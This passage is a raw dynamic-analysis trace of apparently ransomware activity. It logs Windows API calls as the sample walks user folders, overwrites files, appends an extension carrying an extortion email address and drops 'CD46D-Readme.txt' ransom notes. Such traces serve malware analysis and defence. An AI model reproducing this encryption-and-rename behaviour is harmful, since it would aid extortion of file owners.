hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.762] WriteFile (in: hFile=0xe50, lpBuffer=0x195e30f8*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x1198f864, lpOverlapped=0x0 | out: lpBuffer=0x195e30f8*, lpNumberOfBytesWritten=0x1198f864*=0x85, lpOverlapped=0x0) returned 1 [0056.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429728 [0056.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429700 [0056.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429700) returned 1 [0056.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195e30f8) returned 1 [0056.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195d68f0) returned 1 [0056.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437508) returned 1 [0056.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bfb8) returned 1 [0056.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x409ea8 [0056.465] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.465] WriteFile (in: hFile=0xe50, lpBuffer=0x441bc0*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x1198f8cc, lpOverlapped=0x0 | out: lpBuffer=0x441bc0*, lpNumberOfBytesWritten=0x1198f8cc*=0x11b, lpOverlapped=0x0) returned 1 [0056.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441bc0) returned 1 [0056.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409fa8) returned 1 [0056.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429700) returned 1 [0056.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ea8) returned 1 [0056.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429728) returned 1 [0056.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4288c0) returned 1 [0056.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428988) returned 1 [0056.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4289b0) returned 1 [0056.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44ea78 [0056.595] wcscpy (in: _Dest=0x44ea78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" [0056.595] wcscat (in: _Dest=0x44ea78, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.mailto[2Hamlampampom@cock.li].cd46d" [0056.595] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1198f884, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf4) returned 0x41c1b8 [0056.775] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c1b8) returned 1 [0056.775] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d8f70) returned 1 [0056.775] NtQueryInformationFile (in: FileHandle=0xe50, IoStatusBlock=0x1198f890, FileInformation=0x1198f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1198f890, FileInformation=0x1198f868) returned 0x0 [0056.775] NtSetInformationFile (FileHandle=0xe50, IoStatusBlock=0x1198f890, FileInformation=0x1198f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.780] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ea78) returned 1 [0056.780] FlushFileBuffers (hFile=0xe50) returned 1 [0056.812] CloseHandle (hObject=0xe50) returned 1 [0056.824] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd308 [0056.824] wcscpy (in: _Dest=0x97cd308, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0056.824] wcscat (in: _Dest=0x97cd308, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" [0056.824] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\cd46d-readme.txt")) returned 0x20 [0056.854] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cd308) returned 1 [0056.854] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee5b8) returned 1 Thread: id = 764 os_tid = 0xe68 [0051.524] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url")) returned 0x20 [0051.722] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", dwFileAttributes=0x20) returned 1 [0052.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe54 [0052.763] GetFileSizeEx (in: hFile=0xe54, lpFileSize=0x1186f7c4 | out: lpFileSize=0x1186f7c4*=133) returned 1 [0052.763] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.763] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428938 [0052.763] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4289d8 [0052.763] NtQuerySystemTime (in: CurrentTime=0x1186f724 | out: CurrentTime=0x1186f724*=132174898167516000) returned 0x0 [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x1aa5c3d9 [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x49ffc0ae [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x6f3c5acb [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x481b143b [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x3e6c56bf [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x3299748f [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x46f047f3 [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x33543452 [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x3f17891b [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x6f15b6e5 [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x73b682e2 [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x2d206242 [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x4f65f00a [0052.763] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x3275dc45 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x7d6b7e37 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x4679e905 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x78b1158 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0xb6d9d60 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x7e607903 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x65b7d8fe [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x6daaae2b [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x15ea2c94 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x7ee29a27 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x3a3e84c3 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x23ad572d [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x324aef02 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x6e5ef8ed [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x3c606f83 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x61436c43 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x73ff41ce [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0xa378978 [0052.764] RtlRandomEx (in: Seed=0x1186f730 | out: Seed=0x1186f730) returned 0x556c6b0a [0052.776] ReadFile (in: hFile=0xe54, lpBuffer=0x195ef900, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x1186f720, lpOverlapped=0x0 | out: lpBuffer=0x195ef900*, lpNumberOfBytesRead=0x1186f720*=0x85, lpOverlapped=0x0) returned 1 [0052.777] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.777] WriteFile (in: hFile=0xe54, lpBuffer=0x195fc108*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x1186f71c, lpOverlapped=0x0 | out: lpBuffer=0x195fc108*, lpNumberOfBytesWritten=0x1186f71c*=0x85, lpOverlapped=0x0) returned 1 [0056.466] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eda48 [0056.466] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed8e0 [0056.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8e0) returned 1 [0056.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195fc108) returned 1 [0056.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195ef900) returned 1 [0056.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437580) returned 1 [0056.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c000) returned 1 [0056.466] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x44c000 [0056.467] SetFilePointerEx (in: hFile=0xe54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.467] WriteFile (in: hFile=0xe54, lpBuffer=0x441ce8*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x1186f784, lpOverlapped=0x0 | out: lpBuffer=0x441ce8*, lpNumberOfBytesWritten=0x1186f784*=0x11f, lpOverlapped=0x0) returned 1 [0056.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441ce8) returned 1 [0056.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf28) returned 1 [0056.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed8e0) returned 1 [0056.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c000) returned 1 [0056.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eda48) returned 1 [0056.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428938) returned 1 [0056.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a00) returned 1 [0056.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a28) returned 1 [0056.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x95d0a50 [0056.600] wcscpy (in: _Dest=0x95d0a50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" [0056.600] wcscat (in: _Dest=0x95d0a50, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.mailto[2Hamlampampom@cock.li].cd46d" [0056.600] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1186f73c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf8) returned 0x41c2b8 [0056.767] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c2b8) returned 1 [0056.767] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d93c0) returned 1 [0056.767] NtQueryInformationFile (in: FileHandle=0xe54, IoStatusBlock=0x1186f748, FileInformation=0x1186f720, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1186f748, FileInformation=0x1186f720) returned 0x0 [0056.767] NtSetInformationFile (FileHandle=0xe54, IoStatusBlock=0x1186f748, FileInformation=0x1186f720, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.769] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0a50) returned 1 [0056.769] FlushFileBuffers (hFile=0xe54) returned 1 [0056.812] CloseHandle (hObject=0xe54) returned 1 [0056.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x438650 [0056.821] wcscpy (in: _Dest=0x438650, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0056.821] wcscat (in: _Dest=0x438650, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" [0056.821] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\cd46d-readme.txt")) returned 0xffffffff [0056.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd50 [0056.851] WriteFile (in: hFile=0xd50, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x1186f744, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x1186f744*=0x6fd, lpOverlapped=0x0) returned 1 [0056.852] CloseHandle (hObject=0xd50) returned 1 [0056.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438650) returned 1 [0056.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43de70) returned 1 Thread: id = 765 os_tid = 0xe6c [0051.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml")) returned 0x20 [0051.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0051.722] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0051.722] GetLastError () returned 0x5 [0051.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0051.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 Thread: id = 766 os_tid = 0xe70 [0051.525] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x4169c0 [0051.525] wcscpy (in: _Dest=0x4169c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0051.525] wcscat (in: _Dest=0x4169c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0051.525] wcscat (in: _Dest=0x4169c0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*" [0051.525] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04af0 [0051.526] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440c60 [0051.526] wcscmp (_String1=".", _String2=".") returned 0 [0051.526] FindNextFileW (in: hFindFile=0x440c60, lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.526] wcscmp (_String1="..", _String2=".") returned 1 [0051.526] wcscmp (_String1="..", _String2="..") returned 0 [0051.526] FindNextFileW (in: hFindFile=0x440c60, lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0051.526] wcscmp (_String1="Collab", _String2=".") returned 1 [0051.526] wcscmp (_String1="Collab", _String2="..") returned 1 [0051.526] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x4399e8 [0051.526] wcscpy (in: _Dest=0x4399e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0051.526] wcscat (in: _Dest=0x4399e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0051.526] wcscat (in: _Dest=0x4399e8, _Source="Collab" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" [0051.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4399e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24 [0051.787] FindNextFileW (in: hFindFile=0x440c60, lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0051.787] wcscmp (_String1="Forms", _String2=".") returned 1 [0051.788] wcscmp (_String1="Forms", _String2="..") returned 1 [0051.788] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x439bb0 [0051.788] wcscpy (in: _Dest=0x439bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0051.788] wcscat (in: _Dest=0x439bb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0051.788] wcscat (in: _Dest=0x439bb0, _Source="Forms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" [0051.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x439bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed8 [0051.789] FindNextFileW (in: hFindFile=0x440c60, lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaScripts", cAlternateFileName="JAVASC~1")) returned 1 [0051.789] wcscmp (_String1="JavaScripts", _String2=".") returned 1 [0051.789] wcscmp (_String1="JavaScripts", _String2="..") returned 1 [0051.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43e1b8 [0051.789] wcscpy (in: _Dest=0x43e1b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0051.789] wcscat (in: _Dest=0x43e1b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0051.789] wcscat (in: _Dest=0x43e1b8, _Source="JavaScripts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0051.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43e1b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xedc [0051.790] FindNextFileW (in: hFindFile=0x440c60, lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, 